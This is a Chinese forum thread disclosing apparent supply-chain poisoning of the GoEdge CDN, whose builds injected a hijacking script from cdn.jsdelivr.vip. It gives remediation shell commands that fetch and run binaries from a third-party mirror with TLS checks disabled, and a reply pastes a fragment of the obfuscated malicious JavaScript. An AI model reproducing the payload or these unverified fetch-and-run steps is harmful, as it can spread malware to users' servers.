V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
The Go Programming Language
http://golang.org/
Go Playground
Go Projects
Revel Web Framework
Nyarime
V2EX  ›  Go 编程语言

GoEdge “官方”投毒与供应链投毒恐有关及解决方案

  •  5
     
  •   Nyarime · 118 天前 · 4408 次点击
    这是一个创建于 118 天前的主题,其中的信息可能已经有所发展或是发生改变。

    在奶昔论坛上曾转载过 54yt 的一篇《供应链投毒后,我们的选择还剩下哪些》,于是昨天大半夜有许多 GoEdge 用户表示,自己部署的 CDN 会插入一段来自 https://cdn.jsdelivr.vip/jquery.min-3.7.0.js 的代码,其中内容不寒而栗:

    jQuery 解密内容

    图片来源: https://www.nodeseek.com/post-138160-1

    前言

    从超哥(其开发者)写出 GoEdge 至今,版本更迭到 v1.3.9 。这套 CDN 系统被许多 CDN 商家采用,毕竟它开源又免费,却在今年 4 月被请去喝茶后,goedge.cn 便重定向至 goedge.cloud ,而 goedge.cn 的备案号被注销、转出,甚至 whois 主体发生变化。

    原实名信息:刘祥超
    原 ICP 备案信息:刘祥超
    现实名信息:莫坤秀
    现 ICP 备案信息:已注销
    

    而超哥在 QQ 群的最后消息为 2024 年 5 月 20 日。

    lz2bsuuo.png

    之后 5 月 24 日发布的包中则带有上文提到的 cdn.jsdelivr.vip 的内容于节点( edge-node )的二进制文件中,一直到今日发版的 v1.4.1 。

    供应链关系

    查了一下 cdn.jsdelivr.vip 的 cname 指向,猜测和方能那伙人是同一伙

    lz2cdrfq.png

    关于做了什么,hostloc 上面也有: https://hostloc.com/thread-1327962-1-1.html

    可以说 js 代码跳 h 站就是这群人干的。

    被卖了吗

    有群友发现 GoEdge v1.3.9 的编译环境为 go1.21.10 ,与目前最新版的环境不同。故引发大家对 GoEdge 被出售的猜测。

    lz2bwtpb.png

    而超哥用于销售商业版的淘宝店铺关闭,转而要客户前往 Telegram 找 @GoEdge 进行购买。据群友所描述,客服态度怠慢。

    taobao

    而唯一的联系方式就是 Telegram 的群组和客服,在 v1.4.0 发版时,特地强调了“过墙”的功能

    lz2c8ip9.png

    而过墙是什么,想必不用多说了

    临时发版

    有群友进行二进制分析,发现 edge-node v1.4.1 版本二进制文件中存在上述恶意代码。但 GoEdge 客服在其 Telegram 群中表示“不信谣不传谣”后开始踢人

    lz2c20om.png

    随后对 v1.4.1 重新编译,发布了无毒版本的 GoEdge v1.4.1

    lz2c4aps.png

    由图可以发现,这段 https://cdn.jsdelivr.vip/jquery.min-3.7.0.js 的引用在新的版本已被去除。(在此建议作者发布时,写好 MD5 、SHA1 、CSC32 信息,以免导致大家误会)

    修复业务

    由于许多人在使用该产品的时候,时不时跳 h 站。若您是 2024 年 5 月 24 日之后安装的 v1.3.9 (或更高版本),请立即更新。虽然刚刚官方发了 v1.4.1 的修正版本,一旦信任崩塌就难以重建。这里提供一个可行的恢复方案。

    重装主控

    1. hosts 屏蔽 goedge.cloud 和 goedge.cn 防止程序更新
    echo "127.0.0.1 goedge.cloud" | sudo tee -a /etc/hosts > /dev/null
    echo "127.0.0.1 goedge.cn" | sudo tee -a /etc/hosts > /dev/null
    cat /etc/hosts
    
    1. 回退主控( edge-admin )版本至 v1.3.9
    # x86_64 (amd64)
    edge-admin upgrade --url=https://dl.naixi.net/cdn/goedge/goedgecn/edge-admin-linux-amd64-plus-v1.3.9.zip
    # aarch64 (arm64)
    edge-admin upgrade --url=https://dl.naixi.net/cdn/goedge/goedgecn/edge-admin-linux-arm64-plus-v1.3.9.zip
    
    1. 删除 api-node/deploy 目录内的 dge-node-linux-amd64-v1.3.9.zip 和 dge-node-linux-arm64-v1.3.9.zip 文件,然后在目录下执行
    # x86_64 (amd64)
    wget -O edge-node-linux-amd64-v1.3.9.zip https://dl.naixi.net/cdn/goedge/goedgecn/edge-node-linux-amd64-plus-v1.3.9.zip
    # aarch64 (arm64)
    wget -O edge-node-linux-arm64-v1.3.9.zip https://dl.naixi.net/cdn/goedge/goedgecn/edge-node-linux-arm64-plus-v1.3.9.zip
    
    1. 主控节点重装即可(一般到这步就修复完啦)

    节点修复

    若上述第 4 步主控节点重装过于麻烦,这边提供一键指令

    适用于安装在/root/edge-node ( arm 节点请将 amd64 更改为 arm64 )

    rm -rf /usr/local/goedge
    cd /root/edge-node
    curl -L "https://dl.naixi.net/cdn/goedge/goedgecn/edge-node-linux-amd64-plus-v1.3.9.zip" --insecure -o edge-node-linux-amd64-plus.zip -C - -#
    ./edge-node/bin/edge-node stop
    rm -rf ./edge-node/data
    rm -rf ./edge-node/bin
    rm -rf  /opt/cache
    unzip -o edge-node-linux-amd64-plus.zip
    ./edge-node/bin/edge-node restart
    rm -rf *.zip
    

    适用于安装在/usr/local/goedge ( arm 节点请将 amd64 更改为 arm64 )

    rm -rf /root/edge-node
    cd /usr/local/goedge
    curl -L "https://dl.naixi.net/cdn/goedge/goedgecn/edge-node-linux-amd64-plus-v1.3.9.zip" --insecure -o edge-node-linux-amd64-plus.zip -C - -#
    ./edge-node/bin/edge-node stop
    rm -rf ./edge-node/data
    rm -rf ./edge-node/bin
    rm -rf  /opt/cache
    unzip -o edge-node-linux-amd64-plus.zip
    ./edge-node/bin/edge-node restart
    rm -rf *.zip
    

    结语

    虽然 GoEdge 已更换主体,且官方已经发布了不带毒的版本。但我们仍要知道供应链投毒的危害。即使是免费、开源的项目也有可能成为坏项目,毕竟世界上没有免费的午餐。

    希盘上的 GoEdge 存档资源: https://dl.naixi.net/cdn/goedge/goedgecn/

    dl.naixi.net 上的 goedgecn 文件夹为超哥失联前所构建的最后版本,转自 DigitalVirt 的备份,即 v1.3.9 。而历史版本可以在 DigitalVirt 小老板的 Google Drive 存档找到: https://drive.google.com/drive/folders/1-2JbKiNy-MWF7RLnIUIRXiT-AE37rUDx

    本文转载自奶昔论坛: https://bbs.naixi.net/thread-110-1-1.html

    12 条回复    2024-08-12 14:45:57 +08:00
    Xinu
        1
    Xinu  
       118 天前
    可怕 可怕
    inhzus
        2
    inhzus  
       118 天前
    关注
    wbrobot
        3
    wbrobot  
       118 天前
    “不带毒的版本” = “没有恶意 URL 明文的版本”
    elboble
        4
    elboble  
       118 天前   ❤️ 1
    上面是 jsdeliver.vip 的,这个域名就不对,混淆了,不过格式依然看得出是什么
    unction a0_0x2d3434(_0x49c2b,_0x195cd1,_0x28f735,_0x279b74,_0x28707a){var a0_0x4b6b30={_0xff235f:0x3e7};return a0_0x2e66(_0x28f735- -a0_0x4b6b30._0xff235f,_0x49c2b);}function a0_0x8f6f(){var _0xffd4f6=['WOZcUSonWOar','6lAk54YV54+F5P2f','mCojW5v1jW','AJFcRItcVW','54QW56cO54Y4va','W4BdUSk5lfi','WPBdQSoemwi','5B+m5AsV5lUO5lY9','5BMH5Pws5AcB5AwI','W6RdJCkFW6f+WQ1bW6VdL8odWPK','wCo8W4ldGsK','dv3LHPhOTAu','y8kTWRz/uG','5ykj54Qj5B6N5yQT','6iYZ5AYq6ksc6Ao7','5BYJ5PYm5lQn5zcy','5y+L5y285lUN54Ip','6kYT6lAi5AAN6zgC','ySohWQ3dIgi','5lYN6ik46l6u6lw+','hXJcRd/cRW','5l6S556pWRO','5Bck5AwR55Ur5Pox','WOK5W7L1WOu','5zUa5BcM5ywo56g7','6ywl5BQT5ycX5OIN','W4ldRSoqiSog','WQJdKSkqWOyG','uGJdP8o6Aq','56Au5yIX5A+z6iMq','5zcj5z+/57MJ54ot','6AU66iop5lQS54U/54s7','6AQC56A8546U5A2W','5yU45P6Z5PsF56oO','vNGoWRi','55Y85zQM5OUB55Aj6ikO','CNTicq','d048','5Awh6AQ05lUX55wd','dfmYCJW','5Q6Z54UH56AB5yUF5lYr','55Mg5Asf5Pw25lIh5lUe','WOtdKmo1te4','W4jzcdTdduztW7dcHCoPaW','WQ/dIJ8AaG','Cv8NWO4','W7rNk8kUaq','6BYP5ywa5zc156EwWQK','5lI957Ul5l+655gA','5y+55RQN54k26BUw6BQL','5Awx56YPWR4','5R626zEz5yAO5zg15B2E','55UR5BoZ5AAQ54ck6kA/','5P2m5yss5lY05AMK','5Q2H5Rsw5P63','hY7cHGdcGq'。。。。。
    FrankAdler
        5
    FrankAdler  
       118 天前
    找到一个可能是 web.51.la 的源站 ip: 111.31.45.10 ,没有 hostloc 账户,有的可以帮忙评论到那个帖子里
    devliu1
        6
    devliu1  
       118 天前
    可怕,持续关注
    Nyarime
        7
    Nyarime  
    OP
       118 天前
    删除 api-node/deploy 目录的内容要全部删掉
    daimaosix
        8
    daimaosix  
       117 天前 via Android
    这玩意没必要发,知道什么意思吗
    flyqie
        9
    flyqie  
       117 天前 via Android
    @daimaosix #8

    感觉应该发到跟之前帖子差不多的分享发现上,哪怕发在信安也是能理解的。

    看完全文发现似乎除了项目是 go 写的以外没有什么涉及到 go 的内容,发到 go 版似乎有点不太合适。
    keepRun
        10
    keepRun  
       116 天前 via Android
    可怕
    lysShub
        11
    lysShub  
       116 天前
    为什么会被请去喝茶
    Suyun114
        12
    Suyun114  
       101 天前
    在搜索引擎中查找 方能 可以搜到 funnull.net 。里面有一些让人在意的句子。

    > 这正是我需要声明的一点,方能 CDN 公司以及 ACB 集团与本人及家人无任何关系,近日有不少公司联系到我的家人并威胁他们,认为方能 CDN 公司通过客户域名使用渗透和镜像技术偷窃会员资料和资金交易等相关重要信息,并通过租售服务器的方式窃取客户程序,此事与本人及家人无关,还请联系方能 CDN 公司解决。
    >
    > 事件:2024 年 4 月,goedge 被方能收购,同年 7 月,方能在 goedge 1.3.9 以及之后的版本中植入 js 劫持跳转代码,并在之后的版本中留有后门。
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   实用小工具   ·   2719 人在线   最高记录 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 29ms · UTC 15:16 · PVG 23:16 · LAX 07:16 · JFK 10:16
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.